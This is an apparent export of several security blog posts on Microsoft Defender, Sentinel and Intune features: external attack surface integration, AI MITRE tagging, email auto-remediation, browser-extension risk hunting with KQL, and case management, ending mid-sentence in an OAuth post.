EASM data will enrich the External Attack Surface Protection dashboard with information: Step 5 – Review security metrics In the External Attack Surface Protection initiative, go to the Security metrics tab Review metrics such as: Assets allowing remote access Recently expired SSL certificates Expired domains Internet-facing assets with critical CVEs Each metric will show progress, affected asset count, and remediation state\nStep 6 – Check security recommendations Navigate to the Security recommendations tab Review actionable recommendations such as: Replace weak certificates (e.g., SHA1) Reclaim expired domains Remove public remote access Remediate exposed high-severity CVEs Click on any recommendation for remediation steps and affected asset details\nStep 7 – View affected assets From any metric or recommendation, switch to the Affected assets tab Confirm: Asset type (e.g., IP address, domain) Last seen timestamp Severity and impact You can export this list or use it to plan mitigation\nAttack Paths and example scenarios enabled by the integration Explore Attack Paths Go to Exposure management \u0026gt; Attack paths (outside the initiative page) Filter by: Entry point: External Signal source: External Attack Surface Management Identify if any paths link: External assets → exposed service → identity → privilege escalation Here are some realistic use cases that become visible after the integration:\nScenario Description Legacy web admin portal An untracked admin subdomain is publicly exposed. The linked service uses an expired TLS cert and leads to a backend server with no endpoint protection Unmanaged cloud asset A forgotten Azure Web App is exposed via a verified domain and linked to an Entra ID identity without Conditional Access Shadow IT domain EASM discovers a new subdomain with an open port. That system communicates with internal infrastructure and can be reached without authentication Guest user access A guest account in Entra has permissions on an externally accessible application discovered by EASM Known limitations (preview) As of the June 2025 public preview, note the following:\nLimitation Detail Partial regional availability Not all tenants may have access immediately UI improvements ongoing Path visualizations are improving but may not show full context in all cases Asset linking Some public assets may not resolve correctly if ownership or DNS metadata is incomplete No backfill EASM data is used prospectively. It does not retroactively enrich old attack paths Extra resources https://learn.microsoft.com/en-us/security-exposure-management/whats-new\nhttps://learn.microsoft.com/en-us/security-exposure-management/external-attack-surface-management-initiative\nhttps://learn.microsoft.com/en-us/security-exposure-management/integration-licensing\nDownload\nFinal thoughts As someone who regularly advises organizations on exposure management, this integration is the most strategic improvement Microsoft has released this year. It aligns your visibility with the attacker’s perspective and moves beyond the internal bubble most tooling still lives in.\nFor security teams working with Defender XDR and EASM, enabling this is low-effort and high-impact. And if you haven’t explored Microsoft Exposure Management yet, this is a compelling reason to start. Seeing your attack surface as an attacker would is no longer optional. It’s foundational :).\n","date":"23 June 2025","externalUrl":null,"permalink":"/integrate-defender-easm-exposure-management/","section":"All articles","summary":"","title":"Integrating Microsoft Defender EASM with Exposure Management","type":"posts"},{"content":" Introduction Mapping security detections to the MITRE ATT\u0026amp;CK framework is crucial for understanding adversary behavior and improving threat response. However, maintaining accurate and consistent MITRE mappings across all analytics rules in large environments can be challenging.\nTo support this process, Microsoft introduced AI-powered MITRE tagging, a feature available in public preview (as of May 2025). This capability leverages artificial intelligence to suggest relevant MITRE tactics and techniques for your detection rules, helping streamline SOC workflows and increase coverage quality.\nIn this post, I’ll guide you through how this feature works, how to use it in your environment, and where it can provide the most value. We’ll also explore hands-on examples and practical advice from a SOC perspective, now primarily using Microsoft Defender XDR as the unified security operations platform.\nWhat is AI-powered MITRE tagging? AI-powered MITRE tagging uses machine learning models to analyze detection rule logic and recommend appropriate MITRE ATT\u0026amp;CK mappings:\nTactics (e.g., Credential Access, Lateral Movement) Techniques (e.g., T1056.001: Input Capture, T1021.001: RDP) These mappings are crucial for:\nUnderstanding adversary behavior patterns Enabling MITRE-based dashboards and threat visualizations Standardizing detection quality across rule sets Supporting red/purple team alignment The suggestions can be applied manually or in bulk, and integrate with existing MITRE coverage workbooks.\nLicensing and prerequisites Requirement Details Unified security operations platform Required (Microsoft Defender XDR workspace; Microsoft Sentinel integration recommended) Microsoft Sentinel workspace Required for using workbooks and broader integration Permissions Microsoft Defender Contributor or higher Access point Microsoft Defender portal: Settings \u0026gt; SOC optimization \u0026gt; MITRE optimization Preview availability Public preview – enabled by default in supported tenants Why it matters: SOC benefits Faster detection development: Analysts no longer need to manually search for matching MITRE techniques More consistent quality: Uniform mappings lead to more accurate hunting and reporting Improved threat modeling: Visibility into tactics and techniques helps teams align detection to risk Stronger purple teaming: Well-tagged rules are easier to simulate, validate, and test against real threats Readiness for automation: Standardized tagging simplifies downstream processes like enrichment, alert fusion, and incident correlation Step-by-step: How to use AI-powered MITRE tagging Step 1: Open the SOC optimization view Sign in to the Microsoft Defender Portal Navigate to SOC optimization Search for AI MITRE ATT\u0026amp;CK tagging Step 2: Review incomplete or missing tags You’ll see an amount of analytics rules missing tactic or technique mappings (in my example 4) Below you can see amount of coverage vs the things that could be improved vs the coverage Step 3: Review suggestions and confidence levels If you click Choose Rules, you will see suggestion that includes:\nSuggested tactic (e.g., Persistence, Execution) Suggested technique (e.g., T1059: Command Scripting Interpreter) Detection type Actions: Apply Focus on high-confidence suggestions to improve efficiency\nStep 4: Validate and measure impact Open the analytics rules that were updated Confirm that the mappings match the detection intent Open the MITRE coverage workbook (in Sentinel) to evaluate coverage improvement Schedule periodic reviews as your detection logic evolves Best practices for implementation Prioritize high-severity rules: Start with rules that trigger frequently or impact critical assets Tag during rule creation: Make MITRE tagging part of your detection engineering lifecycle Use version control: Store rules (including tags) in Git or other version-controlled systems Review low-confidence tags carefully: Involve senior SOC analysts to ensure contextual accuracy Correlate with threat modeling: Validate whether the tagged technique aligns with real-world threat scenarios for your industry Leverage dashboards: Use MITRE coverage workbooks for stakeholder reporting and identifying gaps Maintain documentation: Track who approved what tags and when, for audit readiness Real-world example: Improving MITRE coverage A multinational SOC team with over 500 detection rules struggled to maintain updated MITRE coverage. After enabling AI-powered tagging:\nOver 300 rules received high-confidence technique mappings MITRE coverage in the workbook improved by more than 30% Purple teaming became easier thanks to better visibility of technique gaps New rule creation became faster with built-in AI tag suggestions Extra resources Microsoft Defender XDR Documentation\nOfficial docs: MITRE optimization in Microsoft Sentinel\nMITRE ATT\u0026amp;CK Matrix\nAI-Powered MITRE ATT\u0026amp;CK Tagging for SOC Optimization\nFinal thoughts AI-powered MITRE tagging is not a replacement for human logic. It’s a valuable accelerator. It bridges the gap between automated rule generation and strategic threat alignment. If you’re operating at scale, this feature can significantly reduce manual overhead and improve consistency across your detection estate.\n","date":"3 June 2025","externalUrl":null,"permalink":"/tagging-mitre-techniques-ai-soc-optimization/","section":"All articles","summary":"","title":"Automatically tagging MITRE techniques with AI in SOC Optimization","type":"posts"},{"content":" Introduction With the continuous evolution of Microsoft Defender for Office 365, a powerful automation feature has been introduced quietly called Auto‑Remediation. Shipped in May 2025, this capability allows Defender to automatically remove malicious emails identified within a cluster, without requiring human intervention.\nWhile Automated Investigation \u0026amp; Response (AIR) has long offered the ability to cluster and investigate threats, final approval of remediation actions traditionally required manual analyst (delayed) input like you see in my banner picture. Auto‑Remediation eliminates this dependency: reducing human bottlenecks, improving dwell time metrics, and increasing consistency in post-delivery defense.\nThis article explains how the feature works, how to enable it, and how to confirm its operational effectiveness using Defender tools and hunting telemetry.\nFrom manual oversight to autonomous containment Without Auto‑Remediation, even verified phishing messages require analyst action before removal. This introduces a measurable delay in response time, often extending dwell time for malicious emails from a few minutes to over an hour.\nIn a SOC context, every minute an active threat remains in a user’s mailbox represents elevated risk. Reducing dwell time is not only a best practice, but a critical benchmark in phishing defense maturity.\nOrganizations enabling Auto‑Remediation often experience:\nUp to 90% faster remediation in phishing investigations Reduced analyst workload in Action Center Improved MTTC (mean time to containment) at scale Capability overview Auto‑Remediation operates silently, retains full auditability, and aligns with modern SOC requirements for precision and accountability.\nOnce Auto‑Remediation is enabled, Microsoft Defender for Office 365 will:\nIdentify and act on malicious clusters of email based on shared attributes (file hash, URL) Automatically trigger soft delete actions for clusters under 10,000 messages Rely on Defender’s ML-based scoring to determine action confidence Preserve full telemetry in Defender and Purview logs for compliance and analysis This shift to hands-off, policy-driven execution provides consistent and timely remediation during active attacks.\nTechnical workflow Auto‑Remediation builds on AIR and is structured as follows:\nDetection: Initiated via ZAP, Safe Links, user report, or external intelligence Clustering: Messages grouped into a cluster based on shared indicator (e.g. attachment hash, phishing URL) Confidence evaluation: Microsoft’s backend scores the threat; a threshold score of ~0.83 or higher triggers classification as malicious Policy enforcement: If Auto‑Remediation is enabled for the relevant cluster type, the action is executed Action execution: Soft delete removes the email and places it in Recoverable Items \u0026gt; Purges (non-restorable by user) Audit logging: Defender logs actions in EmailPostDeliveryActions, ActionCenterEvents, and Purview for traceability False positives can be rolled back via portal or PowerShell, maintaining SOC control while automating the default response.\nLicensing and prerequisites Requirement Description License Microsoft Defender for Office 365 Plan 2 (included in Microsoft 365 E5/E5 Security) Admin Role Security Administrator or Global Administrator AIR must be enabled Automated Investigation \u0026amp; Response (AIR) is a prerequisite Step-by-Step configuration guide Step 1 – Open Automation Settings Sign in to security.microsoft.com Navigate to Settings → Email \u0026amp; collaboration → MDO automation settings Step 2 – Enable Remediation for Cluster Types Choose which detection types should trigger Auto‑Remediation:\nSimilar URLs (recommended as a low-risk starting point) Similar files (enable after validation and testing) Step 3 – Apply and Save Currently, Soft delete is the only supported remediation action. Confirm your settings and click Save.\nOptional – Configure via PowerShell PowerShellConnect-ExchangeOnline Set-OrganizationConfig -AutoRemediateMaliciousEmail $true ` -AutoRemediateMaliciousEmailWithURLs $true Monitoring and verification Auto‑Remediation actions are fully traceable. To monitor:\nLocation Validation Target Action Center (History) Actions with Decided by: Automation and Completed status Threat Explorer Filter by Additional Action = Automated remediation Advanced Hunting KQL on EmailPostDeliveryActions and EmailPostDeliveryEvents Microsoft Purview Audit Filter for Automated EOP Action operations To reverse an action:\nUse the Revert button in Action Center KQL queries for hunting and reporting KQL// Auto‑Remediation events in the past 7 days EmailPostDeliveryEvents | where ActionType == \u0026#34;Automated Remediation\u0026#34; and ActionTrigger == \u0026#34;Automation\u0026#34; | where Timestamp \u0026gt; ago(7d) KQL// Messages manually restored by administrators EmailPostDeliveryEvents | where ActionTrigger == \u0026#34;Admin:Revert\u0026#34; For detailed schema definitions and additional examples of queryable fields, refer to the official Microsoft documentation on the EmailPostDeliveryEvents and EmailPostDeliveryActions tables.\nKnown limitations (may 2025) Limitation Description Cluster size threshold Clusters with ≥ 10,000 messages require manual review Supported actions Only Soft delete is currently available Global policy scope Tenant-wide application; no targeting by mailbox or group Additional resources Microsoft Learn – Auto‑Remediation in AIR Microsoft Tech Community – Product Announcement Final thoughts Auto‑Remediation represents a mature evolution in Microsoft Defender’s automated response framework. For SOCs seeking to minimize dwell time and reduce analyst fatigue, this feature provides an immediate operational benefit, without compromising control.\nWhat’s surprising, however, is that despite its clear value, Auto‑Remediation remains disabled by default. Given Microsoft’s strong focus on reducing attack impact and response time, it’s notable that organizations must manually activate this feature, especially considering its alignment with modern security automation standards.\nIf you’re currently running Defender for Office 365 Plan 2 and already trust AIR’s clustering and investigation fidelity, enabling Auto‑Remediation should be your next step.\n","date":"29 May 2025","externalUrl":null,"permalink":"/defender-for-office365-air-auto%E2%80%91remediation/","section":"All articles","summary":"","title":"Defender for Office 365 Auto‑Remediation (AIR) – the hidden capability","type":"posts"},{"content":"","date":"29 May 2025","externalUrl":null,"permalink":"/microsoft-defender-for-office-365/","section":"All topics","summary":"","title":"Microsoft Defender for Office 365","type":"categories"},{"content":" Introduction Browser extensions have quietly evolved into one of the most dangerous and overlooked attack vectors in modern enterprise environments. What started as simple tools for productivity or convenience now often function as fully-fledged malware: capable of harvesting data, hijacking sessions, and persisting through identity tokens and cloud sync.\nWe’ve seen a sharp rise in advanced threats hidden in extensions that appear legitimate. Some exploit OAuth permissions to maintain persistent access to Microsoft 365 environments. Others load malicious scripts only when specific conditions are met, like visiting a login page or opening a corporate web app. Many abuse the trust placed in browser extension ecosystems.\nThis blog post provides a few examples how to manage browser extension risk using Microsoft Defender Vulnerability Management (TVM), Microsoft Defender for Endpoint (MDE), and Intune. It offers some guidance, examples, and detection tactics that you can immediately apply to harden your environment.\nCommon threats posed by malicious browser extensions Malicious or poorly managed browser extensions can lead to a wide range of security and compliance issues:\nData exfiltration: Many extensions request broad permissions (like access to all websites) which can be abused to harvest sensitive information including cookies, passwords, and session tokens. This is particularly concerning for enterprise environments handling confidential data. Session hijacking and credential theft: Extensions may inject JavaScript into web pages to intercept user credentials during login or hijack sessions by stealing authentication tokens. AI-powered threats and plugin blind spots: With the rapid rise of AI-enhanced plugins, including those for LLMs like ChatGPT or copilots integrated in browsers, we are witnessing new risks: Extensions that use AI for productivity can generate, analyze, and leak sensitive context. LLM-enhanced plugins might dynamically alter content or provide deceptive outputs. Organizations often lose visibility into these tools due to rapid user adoption, poor audit logging, and unverified code origins. Unauthorized lateral movement: Malicious extensions can exfiltrate browser data to command and control (C2) servers, from which adversaries escalate privileges or move laterally across an environment. Persistence via OAuth abuse: Some extensions exploit OAuth permissions to maintain persistent, often silent access to a user’s Microsoft 365 or Google Workspace account, even after password resets. Only in the beginning of 2025 there have been already plenty reported malicious browser extensions:\nExtension / Campaign Attack Type Description Cyberhaven Extension Supply Chain / OAuth Abuse Legit extension compromised post-release. Injected content scripts at document_start, harvested Facebook OAuth tokens, cookies, and form data. Blipshot Data Theft / Script Injection Screenshot tool updated to exfiltrate data to C2 via injected remote JavaScript. WAToolkit Session Hijacking WhatsApp Web companion hijacked to steal sessions and redirect users. Emojis Emoji Keyboard Credential Stealing Re-uploaded with new permissions to extract user credentials and clipboard data. Color Changer (YouTube) Tracking / Redirect Injection Hijacked to inject tracking scripts and monetize search traffic through redirects. Video Effects for YouTube Data Exfiltration / Ad Fraud Previously benign extension modified to serve custom ads and skim affiliate revenue. GraphQL Network Inspector Credential Theft / Token Logging Fake dev tool extracting network data, tokens, and cookies from major cloud services. Operation RedDirection (Cluster) Tracking / Ad Fraud 18 extensions (color pickers, VPNs, emoji tools) used to track URLs and inject ads. Estimated 2.3M users affected. OAuth-based attacks and extension exploitation OAuth is a secure delegation protocol, but its misuse is increasingly being weaponized by attackers. The pas few months we’ve seen some interesting cases with OAuth attacks, which lead to serious issues.\nCommon exploitation patterns include:\nFake extension pairing: Extensions can present themselves as benign tools (e.g., productivity or translation apps) but request OAuth permissions to data not related to their declared function.\nConsent phishing: Threat actors craft OAuth apps impersonating trusted platforms, tricking users into granting high-privilege access like Mail.ReadWrite, Files.Read.All, or even offline_access. Once consent is granted, the attacker has persistent access.\nToken reuse and refresh exploits: Malicious apps can refresh tokens automatically, retaining access for long periods. When combined with browser-based access, this undermines even strong identity policies.\nThreat \u0026amp; Vulnerability Management (TVM) for browser extensions Microsoft Defender’s TVM provides organizations with real-time visibility into browser extensions installed across their network.\nKey features include:\nComprehensive extension inventory: A centralized list of all browser extensions detected within the organization. Risk assessment: Evaluation of each extension’s risk level based on permissions requested and observed behaviors. Permission analysis: Detailed insights into the specific permissions each extension requires and their potential security implications. Usage monitoring: Tracking of extension deployment across devices, including user-specific installation data. This comprehensive assessment enables organizations to make informed decisions about which extensions to allow or block, enhancing overall security posture.\nPrerequisites Before stepping into Defender TVM, make sure you’ve met the following prerequisites:\nLicenses Feature Requirement TVM for browser extensions Included in Microsoft Defender Vulnerability Management (Add-on) Defender for Endpoint integration Required (Plan 2 or Microsoft 365 E5) Advanced hunting with Defender XDR Microsoft 365 Defender (E5 or Defender for Endpoint P2) Intune policy management Intune via Microsoft 365 E3/E5 or EMS App Governance (optional) Included in Microsoft 365 E5 or Microsoft Defender for Cloud Apps Technical prerequisites Devices must be onboarded into Microsoft Defender for Endpoint Defender sensor must be actively running and reporting Minimum supported OS: Windows 10 1809+ Supported browsers: Microsoft Edge / Google Chrome Chrome requires cloud sync and Chrome ADMX or ExtensionSettings policy Required permissions PortalRole RequiredMicrosoft Defender portalSecurity Reader / Security Admin / Global AdminMicrosoft Intune portalIntune Admin / Policy \u0026amp; Profile ManagerMicrosoft Entra portalApp Administrator (for OAuth app consent investigation)Microsoft Defender for Cloud AppsSecurity Reader or Admin Step-by-Step: Accessing and using the browser extensions inventory Sign in to the Microsoft Defender portal: Navigate to Microsoft Defender Access the browser extensions inventory: Go to Endpoints \u0026gt; Vulnerability Management \u0026gt; Inventories Click on the Browser extensions tab Review the extension data: Review the list of extensions, including names, browser types, number of installations, enabled status, and associated risk levels. Investigate a high-risk extension: Click on a high-risk extension to view: Risk justification Permissions used Publisher information List of affected devices Export the inventory: Use the export button to download data for reporting or offline analysis. Remediation actions: Tag devices for follow-up Open a security task Assign to a remediation team or automation rule Advanced Hunting with Kusto Query Language (KQL) Advanced hunting enables security analysts to proactively search for threats and vulnerabilities related to browser extensions using KQL:\nExample: Top 100 critical browser extensions with the most critical permissions required KQLDeviceTvmBrowserExtensions | where ExtensionRisk == \u0026#34;Critical\u0026#34; | summarize TotalExtentions = count(), ExtentionNames = make_set(ExtensionName) by DeviceId | join DeviceInfo on DeviceId | project DeviceName, TotalExtentions, ExtentionNames | top 100 by TotalExtentions Source: KQL Search\nExample: Top 100 devices with the most browser extensions installed KQLDeviceTvmBrowserExtensions | summarize TotalExtensions = dcount(ExtensionId), ExtensionNames = make_set(ExtensionName) by DeviceId | join DeviceInfo on DeviceId | project DeviceName, TotalExtensions, ExtensionNames | top 100 by TotalExtensions Source: KQL Search\nExample: Classifying browser extension by type and risk severity KQLlet Browser_Extension_info = externaldata(browser_extension:string ,metadata_category:string ,metadata_type:string ,metadata_link:string ,metadata_comment:string)[@\u0026#34;https://raw.githubusercontent.com/mthcht/awesome-lists/refs/heads/main/Lists/Browser%20Extensions/browser_extensions_list.csv\u0026#34;] with (format=\u0026#34;csv\u0026#34;, ignoreFirstRecord=True); Browser_Extension_info | join kind= inner (DeviceTvmBrowserExtensions) on $left.browser_extension == $right.ExtensionName | project metadata_type, Extension_Group= browser_extension, Severity= metadata_link, metadata_comment, DeviceId, ExtensionDescription, ExtensionVersion Source: KQL Search\nExample: Identify browser extensions with “Can turnoff malware protections” permissions in endpoints with no tamper protection KQLlet BrowserExtMalwareProtectionKB = DeviceTvmBrowserExtensionsKB | where PermissionName contains \u0026#34;Can turn off malware protections\u0026#34; | project ExtensionId, ExtensionName, ExtensionRisk, PermissionName; let BrowserExtMalwareProtection = DeviceTvmBrowserExtensions | project ExtensionId, DeviceId; let DeviceWoTamperProtection = DeviceTvmSecureConfigurationAssessment | where ConfigurationId has \u0026#34;scid-2003\u0026#34; | where IsCompliant == \u0026#34;0\u0026#34; | where IsApplicable == \u0026#34;1\u0026#34; | project DeviceId, DeviceName, OSPlatform, Timestamp; union BrowserExtMalwareProtection, BrowserExtMalwareProtectionKB, DeviceWoTamperProtection | summarize by ExtensionId, DeviceId | join ( BrowserExtMalwareProtectionKB ) on ExtensionId | join kind=rightouter ( BrowserExtMalwareProtection ) on ExtensionId | join ( DeviceWoTamperProtection ) on DeviceId | summarize DeviceCount=dcount(DeviceName), arg_max(Timestamp, *) by ExtensionName, ExtensionRisk | sort by DeviceCount asc, ExtensionRisk Source: KQL Search\nExample: Query the installed extensions with the most required permissions KQLlet ExtentionsWithNotification = DeviceTvmBrowserExtensionsKB | where PermissionId contains \u0026#34;Notification\u0026#34; | summarize make_set(ExtensionId) by ExtensionId; DeviceTvmBrowserExtensions | where ExtensionId in (ExtentionsWithNotification) | distinct DeviceId, ExtensionName | summarize TotalInstalledDevices = count() by ExtensionName | sort by TotalInstalledDevices Source: KQL Search\nFor more queries, visit the Advanced Hunting documentation.\nStep-by-Step: Controlling browser extensions with Microsoft Intune Microsoft Intune allows administrators to enforce policies that control browser extension installations across an organization:\nBlocking Google Chrome Extensions Open the Microsoft Intune Admin Center: Go to Microsoft Intune Admin Center Create a Configuration Profile: Navigate to Devices \u0026gt; Configuration profiles Click on + Create profile Choose Platform: Windows 10 and later Profile Type: Settings catalog Add Settings: In the Settings picker, search for Google Chrome\\Extensions Select Configure extension installation blocklist Block All Extensions: Enable the setting Add a wildcard (*) to block all Chrome extensions Allow Specific Chrome Extensions (Exceptions) Modify or create a policy as above Add Settings: Search and add: Configure extension installation allow list Extension IDs to exempt from the blocklist (device) Enable Allow List: Add extension IDs (from Chrome Web Store URL) One ID per rule (e.g., nngceckbapebfimnlniiiahkandclblb) Blocking Microsoft Edge Extensions Open the Microsoft Intune Admin Center: Go to Microsoft Intune Admin Center Create a Configuration Profile: Navigate to Devices \u0026gt; Configuration profiles Click on + Create profile Choose Platform: Windows 10 and later Profile Type: Settings catalog Configure Extension Settings for Microsoft Edge: In the Settings picker, search for Microsoft Edge\\Extensions Add settings like: Control which extensions cannot be installed (blocklist) Deploy the Policy: Assign the profile to the appropriate user/device groups Monitor deployment status under Device status And the same goes for allowing ID’s to be installed:\nBlock Extensions via MDE Custom Detection We can also block extensions through MDE and Indicators, but for first for that we need to know a bit more about the anatomy of an extension:\nA standard browser extension is packaged as a .crx (Chrome Extension) file, which is essentially a ZIP archive. It typically contains:\nmanifest.json – The core configuration file defining the extension’s metadata, permissions, scripts, and runtime behavior. Content scripts – JavaScript files injected into webpages to interact with the DOM. Background scripts – Run persistently or event-driven in the background (e.g., background.js or worker.js). UI elements – HTML/CSS for popups or browser buttons. Assets – Icons, images, localization files, and sometimes configuration files (like config.txt). When installed, extensions are stored locally under the user’s profile:\nOn Windows:\nC:\\Users\\\u0026lt;username\u0026gt;\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\\u0026lt;extension-id\u0026gt; On macOS:\n~/Library/Application Support/Google/Chrome/Default/Extensions/ On Microsoft Edge:\nSimilar path under Microsoft\\Edge\\User Data Once installed, the browser evaluates the manifest.json, grants permissions (like tabs, cookies, storage), and loads content or background scripts accordingly.\nSo…. if we hunt for .crx files we can lookup the SHA1 hashes and block them:\nOpen the Microsoft 365 Defender Portal: Go to https://security.microsoft.com Use Advanced Hunting: Navigate to Hunting \u0026gt; Advanced Hunting Use the table: DeviceFileEvents Apply Query to Detect Malicious Extensions: Use this query example by Steven Lim: GitHub KQL – Malicious Chrome Extension Detection Create Custom Detection Rule: When detection is matched, trigger remediation Action: Block SHA1 hash or create alert Apply block on detection: Configure automated response settings Suitable for organizations not using TVM add-on Recommendations Monitor new browser plugins, especially those involving AI or LLM tools Perform regular browser extension reviews via TVM Inventory Detect risky behavior using KQL + advanced hunting Enforce restrictions using Microsoft Intune, GPO, or MDE Indicators Conduct OAuth permission reviews through App Governance Additional resources https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/ https://blog.pulsedive.com/compromised-browser-extensions-a-growing-threat-vector/ https://arstechnica.com/security/2025/01/dozens-of-backdoored-chrome-extensions-discovered-on-2-6-million-devices/ https://blog.sekoia.io/targeted-supply-chain-attack-against-chrome-browser-extensions/ Conclusion Malicious browser extensions are no longer just annoying adware. They’re part of sophisticated campaigns targeting enterprise credentials, OAuth tokens, and session cookies. The combination of user trust, browser permissions, and persistent access makes them especially dangerous.\nOrganizations need to move beyond passive awareness. By actively leveraging tools like Microsoft Defender Vulnerability Management (TVM), Microsoft Defender for Endpoint, and Microsoft Intune, you can:\nDetect high-risk extensions before they spread Enforce strict install policies across Chrome and Edge Continuously hunt for suspicious behavior or token abuse Remove extensions and revoke OAuth grants at scale Modern threats demand modern visibility. If you haven’t yet reviewed your browser extension exposure across your environment, now is the time. The tools are there – and as attackers evolve, our defenses must too.\n","date":"16 April 2025","externalUrl":null,"permalink":"/malicious-browser-extensions-defender-tvm/","section":"All articles","summary":"","title":"Stopping malicious Browser Extensions with Microsoft Defender TVM and Intune","type":"posts"},{"content":" Introduction Managing complex security incidents has always been a challenge for Security Operations Centers (SOCs). From correlating alerts to assigning tasks and documenting steps, analysts often work across disparate tools, losing context and efficiency. To address this, Microsoft has introduced native Case Management within its unified security operations platform. This feature allows security teams to group related incidents, assign tasks, define custom workflows, and collaborate more effectively during investigations.\nAs someone deeply involved in security operations, I’m very happy and genuinely pleased to see this functionality being introduced within the Microsoft Ecosystem – as I normally use use tooling like TheHive in between, because Microsoft was lacking it’s case management. It’s a welcome improvement for SecOps teams everywhere.\nIn this post, I will provide a comprehensive, hands-on walkthrough of Case Management in Microsoft’s unified SOC platform. I’ll demonstrate how to use the new features, explain best practices, and show how to leverage this functionality to strengthen your security operations. This guide is based on the latest updates from Microsoft and is intended for security professionals looking to modernize and scale their incident response process.\nWhat is Microsoft case management? Microsoft case management is a centralized feature that supports structured security investigations within the unified security operations platform. It offers teams better visibility, accountability, and documentation when responding to complex threat scenarios. Instead of handling incidents in isolation, case management lets analysts connect the dots, document their findings, and collaborate more effectively.\nCase Management is a new, native capability integrated into the Microsoft Defender portal, built specifically to streamline investigations. It is designed to centralize context from incidents and alerts, assign tasks, and support end-to-end tracking of remediation efforts. Unlike relying solely on individual incidents in Microsoft Sentinel or Defender XDR, Case Management provides a more structured and collaborative approach to security investigations.\nKey features: Centralized case tracking across Microsoft Sentinel and Microsoft Defender XDR Custom case status values to reflect your organization’s workflows In-case task assignment with deadlines and ownership Linking of multiple incidents to a single case Role-based access controls for visibility and management Built-in timeline and audit trail for case actions and comments These features are intended to support larger SOC teams who deal with overlapping investigations and need a system that goes beyond traditional incident-based response.\nPrerequisites Before using Case Management, make sure the following prerequisites are met:\nA Microsoft Sentinel workspace must be connected to the Microsoft Defender portal Case Management is available only through the Defender portal, not the classic Azure portal Proper role-based access control (RBAC) must be configured Required permissions and configuration: Role Description Required For Security Reader Read-only access to incidents and cases Viewing case queue and details Incident Responder Can update and take action on incidents and cases Assigning tasks, updating statuses Microsoft Sentinel Contributor Can manage content and configuration in Sentinel Linking Sentinel incidents to cases Custom Role (with specific permissions) Tailored access control based on tasks Fine-grained task management and access Permissions required for custom roles include:\nView and manage incidents Create and manage cases Assign and complete tasks View and edit timelines Ensure roles are scoped appropriately (e.g., at the tenant, M365 Defender, or Sentinel level). Navigate to Permissions \u0026gt; Roles \u0026amp; Scopes in the Defender portal to assign or validate access.\nFor multi-tenant or MSSP environments, use Azure Lighthouse or delegated access models to ensure secure and compliant access.\nStep-by-step guide: using Microsoft case management in practice The hands-on examples below demonstrate how Microsoft case management functions in a real-world SOC environment. Whether you’re part of a blue team, an MSSP, or an incident response unit, these steps show how to operationalize Microsoft Defender and Sentinel’s unified case management.\nBelow is a hands-on walkthrough. These steps can be followed directly within your own Microsoft 365 security tenant.\nStep 1: Access the case management dashboard Log in to the Microsoft Defender portal at https://security.microsoft.com.\nNavigate to “Cases” on the left-hand navigation pane. Click and open “Cases” You will now see a dedicated case queue.\nThis is where you can filter, search, and sort existing cases (or create a new one).\nStep 2: Create a new case Click the “+ Create case” button.\nFill in the necessary metadata, including:\nCase name (e.g., “Ransomware Attempt – East Region”) Description Priority Owner or team Tags or classifications (optional) Click “Save” to save your case. It will now appear in the case queue.\nStep 3: Link incidents to a case Open an existing incident that you want to associate with the case. Click on “Linked incidents” then choose “Link incidents”\nSelect the relevant case from the dropdown list or create a new one directly from this screen. Once linked, the incident will now appear in the case overview.\nRepeat this for additional incidents that are part of the same investigation. This is especially useful for campaigns involving multiple endpoints, users, or threat vectors.\nStep 4: Add and assign tasks Navigate to your case and go to the “Tasks” tab. Click “Add task” and define a specific investigation or remediation action.\nSpecify:\nTask title (e.g., “Review lateral movement on DC01”) Description Assigned analyst Due date You can create multiple tasks per case and monitor their progress in the case overview\nStep 5: Define custom case statuses Go to Settings \u0026gt; Case Management\nCreate new custom status values to reflect your organization’s process.\nFor example:\nTriage Under Investigation Awaiting IR Team Resolved – Under Review These status values allow you to move a case through predefined lifecycle stages, improving operational clarity.\nStep 6: Monitor case progress and close the case Each case has a built-in activity timeline that logs:\nLinked incidents Task updates Analyst comments Status changes Use this view during team handovers or incident review meetings to maintain continuity.\nOnce all tasks are complete and incidents are resolved, set the case status to “Closed” or your designated final state (incidents that are linked will NOT be closed – be aware of this for now).\nBest practices for Microsoft case management Case Management is not just a tool but a process enabler. The following best practices will help you get the most value out of it:\nGroup incidents by campaign or kill chain Instead of handling alerts one by one, group related incidents under a single case. For example, a phishing campaign that affects multiple users can be tracked centrally with linked incidents.\nAssign responsibility early Make sure each case has an owner. Use the task system to assign specific actions with deadlines. This helps avoid duplication and ensures accountability.\nUse custom statuses to reflect process maturity Different organizations have different investigation lifecycles. Customize your case statuses to match internal playbooks or NIST/CSF response phases.\nLimit access based on sensitivity Use RBAC to restrict access to sensitive cases (e.g., involving executives or insider threats). This helps ensure confidentiality and integrity.\nDocument everything Encourage analysts to log decisions, comments, and task outcomes in the case timeline. This helps build institutional knowledge and aids in post-incident reviews.\nWhat’s next for Microsoft case management This initial release is just the first step. Microsoft welcomes feedback from the community as it continues to expand this unified, security-focused case management experience tailored to SecOps workflows.\nAs Microsoft builds on this foundation, these upcoming capabilities are being prioritized:\nAutomation and APIs Multi-tenant support Adding more evidence types and collection options Workflow customization Additional integrations within the Defender portal These enhancements will help case management become even more powerful for security teams of all sizes. Stay tuned for more information in the coming months\nExtra resources Official Case Management Overview – Microsoft Learn\nImprove SecOps Collaboration with Case Management\nMicrosoft Defender XDR Documentation\nFinal thoughts Microsoft’s native case management brings much-needed structure to investigations. Personally, I’ve found it incredibly refreshing to have this level of control and clarity built directly into the Defender and Sentinel experience. By combining context-rich incident handling with task assignments and flexible workflows, case management helps transform chaos into coordination.\nThis new feature feels especially valuable for those of us who live and breathe SecOps every day. Whether you’re a solo analyst or part of a 24/7 SOC, having an integrated way to track progress, collaborate with teammates, and close cases confidently is a major leap forward.\nFor me, adopting case management isn’t just a helpful improvement. It feels like Microsoft is finally building for the way real security teams operate. Start exploring the new case management feature today. It’s intuitive, powerful, and, in my view, a must-have for any modern security operations environment.\n","date":"31 March 2025","externalUrl":null,"permalink":"/microsoft-secops-case-management/","section":"All articles","summary":"","title":"Case management in Microsoft Defender and Sentinel: streamline your SecOps","type":"posts"},{"content":" Introduction OAuth (Open Authorization) has transformed enterprise security by enabling seamless authentication and authorization between cloud applications. However, it also presents significant security risks if improperly governed. Threat actors, particularly nation-state actors like Midnight Blizzard (APT29), increasingly exploit OAuth-based vulnerabilities to gain unauthorized access, bypass traditional 